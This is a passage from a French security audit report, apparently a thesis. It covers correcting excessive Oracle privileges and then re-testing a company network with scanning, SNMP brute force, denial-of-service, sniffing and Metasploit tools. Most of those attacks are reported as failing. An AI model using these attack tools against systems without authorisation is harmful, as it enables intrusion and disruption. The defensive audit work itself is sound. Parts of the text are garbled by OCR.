end;
end if;
end;

end;

4.2.2 [Excés de priviléges pour les roles macc et macc2

GRANT ALL ON '|lowner||""||table_name||' TO macc;' FROM all_tables WHERE owner =
‘SUPER';

GRANT ALL ON '|lowner||""||table_name||' TO macc2;' FROM all tables WHERE owner
= ‘SUPER’;

Ces deux commandes donne un acceés complet sur toutes les tables de super parmi
lesquelles citons : utilisateurs, clients, factures... il faut limiter I’acces sur quelques tables et

interdire I’acces sur d’autres notamment les tables des utilisateurs et des priviléges.

Avant de manipuler les priviléges on doit d’abord révoquer les priviléges assignés aux deux

réles macc et macc?.

REVOKE ALL ON '|lowner||"'||table_name||" TO macc;' FROM all tables
WHERE owner = ‘SUPER';
REVOKE ALL ON '||lowner||"'||[table_name||'" TO macc2;" FROM all tables
WHERE owner = ‘SUPER';

Comme le role macc2 est accordé par default a la création de 1’utilisateur, ce role doit avoir

strictement le privilége systeme de création de session.
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CREATE ROLE macc?
GRANT create session TO macc?

Le rdle macc qui sera accordé lors de 1’ouverture d’une connexion dans I’interface du logiciel

doit avoir des priviléges personnalisés selon les exigences de chaque table :

GRANT select, update, insert, delete ON super.fgart TO macc,
GRANT select ON super.fgclient TO macc,

4.2.3 Exces de priviléges dans la fonction pubfunc.sql

SELECT 'GRANT ALL ON '||NAME||' TO PUBLIC;'
FROM SYS.OBJS WHERE TYPE# IN (7,8,2,4,6,5) AND OWNER# =
(SELECT USER# FROM SYS.USERS WHERE NAME='"super’');

Cette commande est le probléme majeur de défaillance de sécurité ou plutdt d’exces
de privilége, on accorde des privileges absolus sur tous les objets de super a PUBLIC ! Donc
par transitivité ces privileges seront disponible a n‘importe quel utilisateur. Malgré toutes les
restrictions dans le codage et l’assignation des roles, les utilisateurs pourront manipuler

librement les objets de super.

I1 faut révoquer tous les priviléges objet erronés assignés a PUBLIC par cette commande, et
accorder des priviléges objets personnalisés sur les objets de super au réle macc qui sera par

la suite accordé aux utilisateurs.

SELECT 'REVOKE ALL ON '||NAME||' FROM PUBLIC;'
FROM SYS.OBJS WHERE TYPE#IN (7,8,2,4,6,5) AND OWNER# =
(SELECT USER# FROM SYS.USER$ WHERE NAME="super’);

La fonction pubfunc.sql sera uniquement utilisé pour créer les synonymes pour les objets de
super :

SPOOL ON

SELECT 'DROP PUBLIC SYNONYM '||SYNONYM NAME ||";’
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FROM ALL SYNONYMS WHERE TABLE OWNER = 'super';

SPOOL OFF

@ON.LST

SPOOL ON

SELECT 'CREATE PUBLIC SYNONYM '||NAME||' FOR SUPER.'||NAME|| ;'
FROM SYS.OBJ$ WHERE TYPE#IN (7,8,2,4,6,5) AND OWNER# =
(SELECT USER# FROM SYS.USER$ WHERE NAME="super");

SPOOL OFF

@ON.LST

4.2.4 Exces de priviléges par le role resource

wcemd := 'grant connect , resource to '||wxuser||' identified by '||:wpassword;

exec(wcmd);

L’erreur dans cette commande est I’assignation du rdle resource a 1’utilisateur créé, ce
privilége lui accordera la permission de manipuler les objets systémes de la base de données :
CREATE CLUSTER, CREATE INDEXTYPE, CREATE OPERATOR, CREATE
PROCEDURE, CREATE SEQUENCE, CREATE TABLE, CREATE TRIGGER, CREATE
TYPE.

Un utilisateur régulier n’a pas besoin de tels privileges, donc il suffit de lui accorder le rdle

de connexion et modifier ainsi la commande pour devenir :

wemd = 'grant connect to '||wxuser||" identified by '||:-wpassword;

exec(wemd);

Dans le cas ou I'utilisateur a besoin de modifier une table dont il n’a pas d’acces, on utilise la
méme méthode de connexion instantanée vue précédemment avec 1’utilisateur super. Le code

suivant sera ajouté lors de sauvegarde d’un fichier de client

LOGOUT;
IF WDB IS NULL
THEN logon ('super’,:suppasswd) ;
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ELSE logon ('super’,:suppasswd||'@||\wdb ) ;
END IF;

LOGOUT;
IF WDB IS NULL

THEN logon (wuser ,wpwd ) ;

ELSE logon (wuser ,wpwd ||'@'||wdb ) ;
END IF;

4.3 Approbation et implémentation

La derniére phase dans 1’é¢tude des vulnérabilités d’Oracle consiste a obtenir
I’approbation des directeurs sur les solutions proposées et I’implémentation des propositions

acceptees.

4.3.1 Approbation

La nouvelle norme de sauvegarde, ainsi que la modification des rdles existants ont été
discutées avec le directeur et les personnes responsables du codage du logiciel. Quelques

idées on été acceptées alors que d’autres ont été modifiées pour mieux servir le logiciel.

- Supprimer I’interface SQL des postes clients : acceptée a condition de tester toutes les
fonctionnalités des interfaces du logiciel
- Annuler le privilege dba a super : acceptée
- Connexion temporaire:
o Acceptée pour I’utilisateur super pour ne pas lui accorder le privilége dba
o Modifiée pour les utilisateurs réguliers, cette méthode pourra surcharger le
serveur par plusieurs demandes de connexion simultanées, on pourra 1’utiliser
dans le cas de modification de quelques tables importantes
- Changer les privileges des rdles :
o Macc2 : acceptée pour avoir seulement le privilége d’ouverture de session
o Macc : modifi¢e, il est préférable de lui accordé les privileges SELECT,
INSERT, UPDATE, DELETE sur toutes les tables primaire de super, pour
diminuer ainsi le processus de connexion temporaire pour les tables cruciales.
- Elimination des priviléges de PUBLIC sur les objets de super : acceptée

- Annuler ’assignation du rdle resource : acceptée
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L’implémentation des modifications ont été effectuée au début dans un environnement virtuel
similaire & la configuration existante dans chaque branche, pour tester la validité des

nouvelles normes. Une fois validée elles seront implémentées dans les branches.

4.3.2 Implémentation

4.3.2.1 Supprimer ’interface SQL des postes clients

L’application a débuté chez les postes des caissiers de la branche SS, pendant une
durée de 3 jours aucun probléme n’est apparu. Ensuite chez les directeurs de la branche qui
générent réguliérement des rapports de ventes pendant une durée d’une semaine et aucun
probléme n’est apparu. L’étape suivante est I’application chez les postes des utilisateurs des
départements administratifs : stock, finance, relation humains... quelques problémes dans
certains rapports appelant SQL ont apparu, on les a fixé en manipulant le codage de certaines
formes et rapport d’oracle pour annuler I’appel a I’interface SQL.

Cette tache a été¢ implémentée avec succes dans toutes les branches

4.3.2.2 Annuler le privilege dba a super

L’application de cette tache a été effectuée d’abord dans un environnement virtuel de
test, plusieurs problémes ont apparus dont quelques un peuvent étre fixés par codage.
Nous allons suivre les mémes étapes utilisées lors de la création d’une nouvelle base de

données et signaler les problémes et solutions adoptées.

a. Créer une base de données initiale vide bdd a travers I’interface graphique de 1’assistant
de configuration et lui assigner un SID bdd

b. Configurer les mots de passe des utilisateurs systeéme : SYS, System...
Connexion par I’utilisateur SY'S sur SQL en insérant les paramétres suivants :

d. Créer I'utilisateur super qui sera I’administrateur d’oracle et le propriétaire de toutes les
tables sans lui donner le privilége dba

e. Importer les tables de I'utilisateur super d’une base de données modele temp.dmp

Le premier probleme est apparu durant cette étape. L utilisateur super n’ayant pas

le privilege dba n’a pas pu importer la base de données entiére, on est donc obligé de lui

accorder temporairement le privilége dba.
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GRANT dba TO super

o >imp

o > user: system@bdd

o > pass: password

o impfile> temp.dmp
REVOKE dba FROM super

Créer le role macc protégé par un mot de passe pour étre accordé lors d’une connexion
réussie
Créer le role macc2 sans mot de passe assigné par default
Exécuter la fonction pubfunc.sql pour créer les synonymes des tables de super
Changement du role lors de I’ouverture d’une connexion avec le logiciel
Créer un utilisateur régulier
Attacher I'utilisateur a une branche
Deuxieéme probléme apparu dans cette phase, super n’a pas le privilege d’acces a

la table des branches et quelques tables systémes nécessaires. On a trois solutions
possibles :

- Ouvrir une connexion temporaire avec I’utilisateur SYTSEM

- Donner les priviléges nécessaires a super directement

- Créer un role dédié pour super et lui accorder les privileges nécessaires.
Ces solutions ont été suivies selon chaque exigence, pour la table des branches par
exemple, les privileges nécessaires on été¢ ajoutés et pour d’autre cas une connexion
temporaire a €té initiée.
Ouvrir les options utilisées dans le logiciel a 1’utilisateur crée : facturation, recherche de

stock...

m. Synchroniser les données entres plusieurs base de données :

- Préparer le fichier des données mis a jour réguliérement de la branche actuelle
- Importer le fichier des données mis a jour des autres branches préparé dans la
branche principale
Nouveau probléme apparu dans cette étape, super n’a pas le privilege
d’importer les données dans les tables systémes, on a obtenu alors I’erreur

« priviléges insuffisants »
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Figure 0.5 : Importer le fichier des données mis a jour des autres branches

Pour fixer ce probléme en envoi en paramétre les données de 1’utilisateur SYSTEM au

lieu de ceux de super

IMP %3/%4% S file=%1 FULL=Y IGNORE=Y LOG=%1 TOUSER=SUPER

Les paramétres seront :
%3 : SYSTEM
%4 : SYSPASSWORD

%S5 : chemin vers le fichier & importer

4.3.2.3 Connexion temporaire pour super

Pour accomplir cette tache, j’ai modifi¢ le codage de la forme de création d’un
utilisateur en ajoutant le code proposé précédemment :

LOGOUT;

IF WDB IS NULL

THEN logon ('system',:syspasswd) ;

ELSE logon ('system',:syspasswd||'@'|[wdb ) ;

END IF;
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LOGOUT;

IF WDB IS NULL

THEN logon (wuser ,wpwd ) ;

ELSE logon (wuser ,wpwd ||'@'||wdb ) ;
END IF;

La nouvelle norme a été implémentée avec succes dans quelques formes principales de
I’environnement virtuel et ensuite dans toutes les branches.

Afin d’implémenter ce codage dans toutes les formes nécessaire du logiciel il faudra
beaucoup de temps, donc la démarche d’implémentation sera divisée sur plusieurs phases

pendant ce temps le privilége dba restera assigné a super

4.3.2.4 Connexion temporaire pour utilisateur régulier

Le méme codage utilisé dans la partie précédente peut étre utilisé dans cette étape.
L’essai de cette méthode dans quelques formes a ¢ét¢ implémenté avec succes dans
I’environnement virtuel avec un nombre limité d’utilisateur. L’ implémentation effective dans
. . . n .
I’environnement réel risque de surcharger les serveurs par les requétes de dizaine
d’utilisateurs simultanément. La deuxiéme solution sera dans la personnalisation des

priviléges des roles macc et macc2 dans la partie suivante.

4.3.2.5 Changer privilége du role Macc

Le role macc est assigné les priviléges objets uniquement sur les objets accédés
fréquemment de super. Ces privileges sont de type : SELECT, INSERT, UPDATE, DELETE.
Afin de tester cette tache, on a modifié les priviléges sur les tables utilisées par la forme de
facturation uniquement et essayer de sauvegarder les factures. La sauvegarde des données a
été effectuée avec succes. La poursuite de cette tache sera implémentée progressivement sur

toutes les tables de la base de données.

4.3.2.6 Changer privilége du role Macc2

Les priviléges nécessaires pour chaque utilisateur ont ét¢ assignés au role Macc, ainsi
le privilege de création de session est suffisant pour le role Macc2 qui est assigné par default

aux utilisateurs.
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4.3.2.7 Modifier la fonction pubfunc.sql

D’abord on a révoqué les priviléges assignés par exces a PUBLIC, et la fonction
pubfunc.sql a ét¢é modifier pour assigner uniquement les privileges sur le synonymes des

objets de super.

[Fomacestl s =21

File Edit Search Options Help

L2

SOL> SELECT "REVOKE ALL ON ‘| [NAME||® FROM PUBLIC;'
2 FROM SYS$.0BJ$ WHERE TYPE# IN (7,8,2,4,6,5) AND DUNERH - |
3 (SELECT USER# FROW SYS_USER$ WHERE NAME='super');

"REVOKEALLON" | |NAKE] | * FROMPUBLIC; '

REUOKE ALL OW READ_
REUOKE ALL ON IHS_F
REUOKE ALL OH IHS_F
REUOKE ALL OW READ_
REUOKE ALL ON READ_
REUOKE ALL ON READ_
REUOKE ALL ON READ_
REUOKE ALL ON RERAD_
REUOKE ALL ON READ_
REUOKE ALL OW READ_
REUOKE ALL OW READ_

ER FROM PUBLIC;
#_BA3 FROW PUBLIG;
%AS FROM PUBLIC;

FROM PUBLIC;
“_NT FROWM PUBLIC;
‘ROH PUBLIC;
‘ROW PUBLIC;

FROM PUBLIC;
S0H PUBLIC;

* FROM PUBLIC;
% FROWM PUBLIC;

"REVOKEALLON" | | NAKME] | * FROMPUBLIC; '

REUOKE ALL DN RE®s®
REUOKE ALL OH REWMS
REUOKE ALL OH REM
REUOKE ALL ON REM

" FROM PUBLIG;
ROM PUBLIC;
‘AL FROM PUBLIC;
“ROM PUBLIC;

REUOKE_ALL_OH _RE wAROM PUBLIC;
REUOKE AL c; i |

REUOKE ALL ON RE &
REUOKE ALL DN RE &
REUOKE ALL OM RE
REUOKE ALL DN RE
REUOKE ALL DH AU
REUOKE ALL DOH RE
REUOKE ALL DN RE

185 rows selected.

“ROM PUBLIG;

tAHD FROM PUBLIC;
“1_CUR FROM PUBLIC;

JR FROM PUBLIC;
“ATION FROM PUBLIC;
+EAR FROM PUBLIC;
H_FORMAT FROM PUBLIC;

ﬂ

sQL>
el
|lf:' start| [} & 9 Services | B Command Prompt - 5., | & Oracle Enterprise Ma. . | &2, Cracle SQL*Plus “3 Oracle SOL*Plus |§ @ 11:52 am |

Figure 0.6 : Procédure d’élimination des privileges de PUBLIC

4.3.2.8 Annuler ’assignation du réle resource

Comme le role ressource donne un acces systéme inutiles par rapport aux utilisateurs
réguliers, j’ai pu ’annuler et aucun probléme n’est apparu chez les utilisateurs. Cette tache a

été implémentée avec succes dans toutes les branches.

Les nouvelles normes proposées ont été testées d’abord dans ’environnement virtuel. La
majorité était admissible et a été implémentée avec succes dans I’environnement réel. Ce qui
reste jusqu’a présent est la personnalisation du réle Macc selon les exigences des formes,

tables et utilisateurs.
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Chapitre 5

Gestion des systemes apreés sécurisation

5.1 Le systéme aprés sécurisation

Arrivant a ce point, suite a 1’effort et le travail effectués durant les mois passés, il est
temps d’évaluer le systéme apres sa sécurisation pour dévoiler le niveau de sécurité atteint.

La méthodologie d’évaluation suivie sera I’hiérarchie des couches du protocole TCP.

5.1.1 Couche Accés physique

Une visite sur les différentes branches de |’organisation dévoile un niveau de
sécurisation de la couche acces physique progressé : les chambres de contrdle sont totalement
sécurisées, 1’acces des étrangers est presque impossible a ces chambres, I’acces des employés
est de méme difficile a ces endroits grace aux systémes de contrdle d’acces implémentés.
Néanmoins il reste 2 branches en cours de sécurisation car les travaux d’amélioration exigent
une durée de 2 a 3 mois pour étre achevés. Les photos qui suivent montrent quelques

améliorations implémentées dans les branches.

Figure 0.1 : Svstéme de control d’acces nar carte nréconficurées

Figure 0.2 : Détecteur de mouvement  Figure 0.3 : Camera de surveillance
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Figure 0.4 : Systéme de détection de feu et de Figure 0.5 : Nouveau rack sécurisé
mouvement avec composeur automatique
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20%
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Figure 0.6 : Distribution de sécurisation dans les branches apres amélioration

La majorit¢ des branches est totalement sécurisée, ceux qui restent sont en voie de

sécurisation.
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5.1.2 Couche Internet

L’évaluation du systéme au niveau de la couche internet consiste a employer les
mémes outils utilisés dans 1’étude de cette couche dans les phases d’attaques. Ainsi on peut

comparer les résultats avant et apres sécurisation.

5.1.2.1 Balayage et analyse du réseau

D’abord on essai de balayer tous les réseaux pour obtenir le niveau de vulnérabilité acquis.

Sévérité totale
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Figure 0.7 : Sévérité totale dans les branches principales
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Figure 0.8 : Sévérité par SE
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Sévérité/Catégorie

100% 68
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Figure 0.9 : Sévérité par catégorie de vulnérabilité

On remarque que le niveau de sécurité a considérablement évolué dans toutes les branches.
Les vulnérabilités restantes sont d’une sévérité faible, ils persistent dans quelques postes
secondaires, comme les unités d’enregistrement des cameras ou les commutateurs ayant

quelques ports ouvert ou services additionnels pour leur gestion a distance.

5.1.2.2 Pénétration des périphériques du réseau

On poursuit avec les outils de pénétration pour évaluer les périphériques des réseaux
¢tudiés auparavant. Comme le montre la partie suivante, la plus part des outils ont échoué
d’obtenir les données critiques ou pénétrer les périphériques du réseau. Je présente ci-dessous

les résultats de ces outils sur plusieurs dispositifs du réseau.

Le balayage par I’outil LanSpy retourne quelques information préliminaires sur 1’un des
périphériques, on remarque la plus part des ports TCP vulnérables sont fermés, et le pare-feu a

bloquer 1’acces a la liste des ports UDP.
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P4 LanSpy 2.0 — LanTricks: www.LanTricks.com

File Tools Help
oo 192168, | =
= L& 192168
@ Round Trip Time [RTT] <10 ms
@ Time ToLive [TTL] 127
2 DNS narne:
# [ MetBios names (4]
B User:
MAC: 00:14:48:46:E0:06
=@ TCP ports [4]
@ 135 epmap => DCE endpoint rezolution
@ 139 netbioz-zzn =» MetBios Session Service
@ 445 microgoft-ds => Microzoft-DS
o BE31 poAMTWHEREdata = Remote Control Software
= @ UDP ports
2 Firewall prezented. Do naot check state of UDF ports,

Figure 0.10 : Résultat de I’outil LanSpy

L’utilisation de ’outil SNMP Brute Force Attack a échoué d’obtenir le CS des périphériques

apres 1’essai d’environ 200000 combinaisons pendant une durée de 2 jours.

> SMNMP Brute Force Attack

File Edit Help

M 5 & %

Export  Print Settings Help

Target Hostname or |IP Address ]192.158.
Attack Speed: Fast _<J

Attack paused ...

Current Community String A

ShMP Gueries 187196 total at 0.3 per second
Bancdwictth being used Approximately 173 bps

Target device 192168,

Target IP Address 192168,

Responze Time 1 milizeconds

Packet Drops u]

DRE Mame

System MName unknowwn

Attack Character Set Alpha-Numeric characters

Maximum comimunity string lencgth 8 characters

Readicnly Community String unknown
Readivite Community String unknown

Figure 0.11 : Résultat de I’outil SNMP Brute Force Attack
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Le balayage de tous les réseaux pour obtenir des CS possible a retourné une liste vide sauf

quelques imprimantes-scanneurs nécessitant le CS « public »

% SHMPSweep BEE
Fie Ed Helo

Starte 1P B I| @ |yinos.nax & &

Endir 1P Aidioss | - & & & F L P !

W Bodress Hesponse Tine | DA Lotkup  SystemMame  Machine Type | Descrpbon Lecation Confact  LastBoot Fouter Commudy e
| AGZIC0.S- ms
| 182168, a7 e
1821680
| 18216800
| 1821680 5 §1ms
| 102 16R S £7ma . -
| 162 163 S 52me
| 102168 Mims
| 162168 dnma
| LA Nme
LTS wHms
| LEATETE S3ms
| A2 Mame
192 168 - 51w
| 182168 e
| 182168, - SSnme

107 16R - 4 ma

watrgensHMP . Seon [ o I v 02

Figure 0.12 : Résultat de I’outil SNMP Sweep

L’essai de plusieurs mots de passe communs a échoué sur tous les périphériques internes et

externes au réseau.

Le piratage au niveau de la couche internet a échoué, on a pu accéder au réseau
internet par aucun moyen. Le niveau de sécurisation a considérablement évolué¢ comme le

montre la comparaison des résultats des balayages effectués durant les tests.

Niveau de vulnérabilité avant et
apres sécurisation

100%
90%
80%
70%
60%
50%
40%
30%
20%
10%

0%

M avant

M apres

Figure 0.13 : Comparaison du niveau de vulnérabilité avant et aprés sécurisation
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5.1.2.3 Surcharge et blocage des ressources

Avant de débuter les tests de surcharge et blocage des ressources, signalons la
politique de domaine dans laquelle on active le pare-feu permettant 1’accés d’une rangée

d’adresse IP fixe a un nombre limité de ports et services qui sont strictement nécessaire.

"t Group Policy Dbject Editor

File  Action \View Help

=~ | AW E R @

EICl wWindows Firew
-3 Domain Pre
L[] Standard P

:@ Windows Firewall:
=4 Windows Firewall:
=i Windows Firewall:

Allow logaging
Prohibit unicast response to multicast or broad. .,
Define port exceptions

= PWON[ 1rolicy | Setting | State
E@ Computer Canfiguration {5 windows Firewall: Pratect all network connections Enabled
-] Software Settings @ windows Firewall; Do nok allow exceptions Mot configured
D Windows Settings @ Windows Firewall: Define program exceptions Enabled
EH:' Adrministrative Templates @ windows Firewall; Allow local program exceptions Mot configured
[:I Welcaus Eampbnents 3 Windowes Firswall; Allow remote administration exception Enabled
[:I Sytom @ windows Firewall; Allow File and prinker sharing exception Enabled
E."%--Eth:ﬂ?cr:{osoft Ed @ windaws Firewall: Allow ICMP exceptions Mot configured
..... (1 DN5 Client =4 Windows Firewall: Allow Remate Deskkop exception Mot configured
..... [ OFfline Filss :@ Windows Firewall: &llow UPRP Framework exception Mok configured
E-(23] Metwark Connectio @ windows Firewall; Prohibit nokifications Mot configured

Mot configured
Mot configured
Mot configured

-] Qo5 Packet Sched. @ windows Firewall: Allow local port exceptions Mot configured
----- ] shmp
----- [ Background Intellig
_____ (23 Printers windows Firewall: Allow remote administration exception Prop...J5l E3 I

=33 User Configuration

I:l Software Settings
L1 windows Settings
-[Z0 Administrative Templates

Setting | E zplain I

=4 Windows Firewall: Allow remate administration exception

= Motk Configured
o
" Dizabled

Allove unzoliciked incoming meszages from;

192 168.0.016
Suyntas:
Type '™ to allow meszages from any network,, or

elze lype a comma-zeparated lizt that contains
any nurmber or combination of these:
IP addrezses, zuch a3z 10.0.0.1
Subret descriptions, such as 10.2.3.0/24
The ztring "localsubnet”

Al least Microsoft Windows =P Professional with SF2

ki
Supported on;

Previous S etting I MHext Setting |

Figure 0.14 : Politique d’activation du pare-feu

Cette politique de groupe diminue considérablement les ports ouvert et accessibles, et les
vulnérabilités d’attaque par dénis de service. L.’ajout d’un nouveau pare-feu externe au réseau

avec un IDS ¢élimine tout danger externe (de I’internet) sur le réseau internet de 1’organisation.
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En effet on peut classer les contre-mesures aux attaques de dénis de service implémentées

dans notre systéme selon la figure suivante :

les contre-mesures aux attaques de dénis de service

Niveau des
périphérigues
du réseau

Niveau des
Systemes
d’exploitation

Niveau
d’Application

correctifs et
mises a jour

Filtrage des
paquets

correctifs et
mises a jour

correctifs et
mises a jour

Détection

Pare-feu . .
d’intrusion

Figure 0.15 : Contremesures aux attaques de dénis de service

Suite & ces mesures correctives, 1’essai des outils d’attaque de dénis de service a échoué sur

plusieurs postes.

L« Hostname or IP-address:

Threads:
i:?'.'.! i 1

Status: | Carnectingto 192188 ed..
Connected: [ o i Peak: [0

Connect: | Connection refused )

Disconnect: | Noemor — a

Multizystern TCP Denial of Service Attacker [Build #12]

Y Coded by aris [parix@tut by) hitbpe & waris by rud

Sprut EE&

Status: | Connectingta132168.° .80,

Corrected: | O f Peak: |0

Connect: | Conrection timed out N
Dizconnect: |N0 elrar

Multispstern TCP Denial of Service Attacker [Build §12]
Coded by ' arix [yariz@tut. by httpe A foaris by s

Figure 0.16 : Résultats de ’outil Sprut sur 2 postes sécurisés
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|| o @ o B i i + @ e B, . VI ENE R @O B |0 ? |I'LI

Decoders Metwark, @ sniffer | @ Cracker ﬁ Traceroute m] CChu [ Wireless Query
i

@ AFR. Started I Closed _! S5H server ! Client _I Stakus
[=] aPR-Cert (4) 24/11)2010 - 15:53:12 192,168, ! 192,165, 1 Diecryvpting
© 3 APR-DNS
- APR-55H-1 (1)
-8 APR-ROP (0) File Edit Format Miew Help

& aPR-FTRSO} O | fb— S ;
B T N e e cain's ssH-1 sniffer

CBy APR-TMAPS (0) v ey lyd Poayiyarayathyloydbriyydyl Pyl tyyyrsaytid gy
g EEE:;?;SP(SDE,D) XSO Sy s Dyl P o RsiniByon amyisaf2ro
reT L O Ol POs T

Figure 0.17 : Résultat de I’outil Cain pour un vol d’une session SSH

La majorité des tests de surcharge et blocage des ressources ont échoués au niveau de la
couche Internet, mais par exemple I’attaque de Ping de mort a réussi de surcharger un client
mais sans bloquer ses ressources. Ces vulnérabilités persistes car on est obliger de laisser des
ports TCP primaires ouverts pour la gestion des postes a distance. Mais ces vulnérabilités sont
uniquement au niveau des réseaux internes ou le systéme est contr6lé au niveau des autres

couches du protocole TCP.

Table 0-I : Résultats des tests de la couche Internet

Date des Risques /
Vulnérabilités / Etat Résultat
tests Impact

Majorités des ports fermés

Balayage et Accessibilité Non
Ve 15/11/2010  Vulnérabilités restantes
analyse du réseau ; difficile compromis
faibles
Pénétration des e
S Mots de passe complexes Accessibilité Non
périphériques du 18/11/2010 ) ., o :
' Configuration personnalisée difficile compromis
réseau
Tests de surcharge Pare-feu activé s, :
Accessibilité Parfois
et blocage des 23/11/2010 Cryptage du trafic . :
, difficile compromis
ressources Paquets ICMP non bloqués
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5.1.3 Couche Transport

L’évaluation du systéme au niveau de la couche transport consiste & employer les
mémes outils utilisés dans I’étude de cette couche dans les phases d’attaques. Ainsi on peut
comparer les résultats avant et apres sécurisation.

Débutons par le résultat du balayage du systéme au niveau des ports TCP et UDP :

Table 0-1I : Résultat du balayage des ports ouverts aprés sécurisation

) ) . . A\t ¢4 . Y ) )

6 - 18 67
23 \ Y ¢ | ' v v 3 v | v 41 134
| T | v ; ¢ . : : . 0 4
BRey o - 1 \ ¢ : : : : : 4
78 . . ¢ \ \ A A \ \ ¢ ¢ 185 361
m 104 . . ¥ ) \ A yay | ° Y v 105 302

ipsec

Figure 0.18 : Répartition totale des ports cibles accessibles aprés sécurisation
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Le nombre des ports ouvert a diminué considérablement, ceux qui restent sont nécessaires
pour les services des serveurs ou périphériques du réseau, et chez les postes clients pour leur

gestion a distance. Les tableaux suivants montrent quelques comparaisons avant et apres
sécurisation.

B TCP (Aprés)

B TCP (Avant)

N
!
—
BUDP (Aprés)
B UDP {Avant)
J UDP [Avant)
= cMm _'“"“‘—--—-—4_ UDP (Aprés)
ABCA e

Figure 0.20 : Comparaison du nombre de port UDP ouverts
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L’essai des mémes outils d’attaques utilisés au niveau de la couche transport sur les ports

restants ouvert a échoué¢ de pénétrer aucun poste client ou serveur.

£3 SNMP Dictionary Attack (SNMP-Attack.mdb)

File Edit Fun Fiter Help

= 94 ¥ ®w e = | # ?

[RI=n Open Print Impott Expork Dickionary  Settings Skark Help
IP Address Camplete Wiard Court f Results IS Sysname Carmmunity

192168, | Died ot fined community string Al G miliseconds
192168, Died miot fimed community string 7 miliseconds
182168, Did niat find community string 14 milizeconds
192163, Didl niat find community string 13 milizeconds
1Q2.1 G3. Diied miot fined community string HC 7 miliseconds
192168, Died mit finel community string Wy 7 miliseconds
1892168, Diicl niat find community string el & miliseconds
192168, Died mot fined community string SE 7 miliseconds
192168, Dl riot findl community string JC 7 miliz=conds
192168, Died mot fined community string o 7 miliseconds
1892168, Did niat find community string i 7 miliseconds
192168, Dicd mt findd community string HC 7 miliseconds
192.1 B3, 1 Died miot fined community string Al B miliseconds
182 168. Mo response R Reguest Timed Out
192168, Died mot findd community string L& 7 miliseconds
192168, Mo response Reqguest Timed Ot
192168, Dl rict find community string Fe 7 milizsconds
182168, Didl niat find community string TA & miliseconds
192168, Died mot findd community string J S miliseconds
192168, Died mit fined community string AL 7 miliseconds
192168, Did niot find community string EL 5 miliseconds
182 168. Did niat find community string W & miliseconds
192168, Diied ot fined community string ML 7 miliseconds
192168, Dicd mot fined community string SE 7 miliseconds
192168, Did et find community string RI 7 miliseconds
192165 Died mt findd community strinc ML 7 miliseconds

Figure 0.21 : Résultat de I’outil SNMP Dictionnary Attack aprés sécurisation

e

Session Edit View Bookmarks Settings Help

For infor

b rport 445
t smbpipe s
target
7_netapl

nsf exploit(msl

ed bind handler
tically d

& Shell

Figure 0.22 : Attaque Metasploit sur le port TCP 445
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Quelques outils réussirent d’accéder aux données de quelques postes, comme SSLStrip qui a
obtenue le mot de passe d’une session d’ouverture de messagerie comme Hotmail. Dans ce
cas les postes importants ont été protégés par le cryptage a travers I’implémentation d’/PSec

sur leur trafic. Mais on ne peut implémenter cette solution chez tous les postes car elle

surcharge ces postes et le réseau.

i Group Palicy Dbject Editor

File  Action Wiew Help

c= || XFR(@2m 2z %48

”_’- Scripts {Startup/Shutd:
= Security Settings

j_.

/-{_8 Restricked Groups
1118 System Services

& Account Policies
£
[
2
[
-8 Registry
2
£
£
[

Local Policies
Event Log

71128 File System

i wireless Metwork |
-] Public Key Policies
(] Software Restrictic
@ IP Security Policies
B[] Administrative Templates

Server (Request Security) Properties K

Rules | General |

2§ ipsec[ - aishti.com] Palicy Mame  / | Description | Palicy Assigned
E@ Computer Configuration erver (Request Sec...  Forall IP traffic, ahways req...  Yes

: [ Software Settings A Client (Respond Only)  Communicate normally (uns... Mo

£+ Windows Settings ecure Server (Requi.,.  For all IP traffic, awaysreq.., Mo

% Security rules for communicating with ather computers

1P Security rules:

A1l [CMP Traffic
<Diynamic:

Permit
Default Responze

<Monez
Kerberos

21

E@ User Configuration

[1-[17] Software Settings
(L windows Settings
E-(_] Administrative Templates

1 | >l

Remove | v Use Add wizard

o ]

Cancel | Snply |

Figure 0.23 : Politique implémentant I’IPSec

La majorité des tests d’attaques au niveau de la couche transport ont échoués de pénétrer les
systémes ou d’obtenir des données pertinentes. Les postes clients n’ont plus des vulnérabilités

de ports TCP ou UDP ouverts.
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Table 0-I1I : Résultats des tests de la couche Transport

Date des e . .
tost Vulnérabilités / Etat Risques / Impact Résultat
ests

Ports ouverts sur machines
SRIsEd 24/112010 pertinentes Etat acceptable
Acceés difficile et sécurisé

Port: ibles chez clients et
SNMP 25112010 O inaccessibles chez clients ¢ Etat acceptable
serveur a cause du pare-feu compromis

compromis
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5.1.4 Couche Application

L’évaluation du systéme au niveau de la couche Application consiste a employer les
mémes outils utilisés dans 1’étude de cette couche dans les phases d’attaques. Ainsi on peut
comparer les résultats avant et aprés sécurisation. L’enchainement des tests suivra les mémes

objectifs étudiés avant :

5.1.4.1 Systémes d’exploitation

L’ouverture d’une session chez plusieurs postes clients ou serveurs a travers 1’outil
Metasploit sur les ports ouverts restants a échoué, tous les postes sont sécurisés par des mots
de passe pour ’administrateur local, ’utilisateur Guest est désactivé, aucun utilisateur local

n’existe et aucun utilisateur du domaine n’est membre du groupe administratif local.

Metasploit Framework GUI v3.3.4-dev

System Window Help |

%gance\ “ Eind Jobs
—_— Job ID |Mudu|e |

[=1
g JObS
S TTSUO Uz TESTETTS ey T O S O Nros S SETVICE oSS e gTSTT erTTow
¢ ms06_025 rras Microsoft RRAS Service Overflow
@ ms06_040_netapi Microsoft Server Service NetpwPathCanonicalize Overfloy
# ms06_066_nwapi Microsoft Services MS06-066 nwapi32.dll
& ms06_066_nwwks Microsoft Services MS06-066 nwwks.dll
@ ms06_070_wkssvc Microsoft Workstation Service NetpManagelPCConnect (
¥ ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption
4 msdns zonename Microsoft DNS RPC Service extractQuotedChar() Overflov
‘@ netidentity_xtierrpcpipe Novell Netldentity Agent XTIERRPCPIPE Named Pipe Buffi
& psexec Microsoft Windows Authenticated User Code Execution
4 smb2 negotiate func index Microsoft SRV2.S¥S SMB MNegotiate ProcessiD Function T
S PP |
KT | |
Sessions

Module Information Module Output

TS I~ TTSUS_U07 TTeTapT T M TgeT P Wil T ows AT SETvTe Fath = = TaT T eTTgmsTT =] |Target |Type

13:13:14 - ms08_067_netapi [*] Selected Target: Windows XP SP2 English (NX)

13:13:14 - ms08_067_netapi [-] Exploit failed: The server responded with error: STATUS_ACCESS_DEMIEC

13:14:07 - psexec [*] Launching exploit windows/smb/psexec... A —

13:14:07 - psexec [*] Connecting to the server..

[13:14:07 - psexec [* Authenticating as user 'stock’...

13:14:07 - psexec
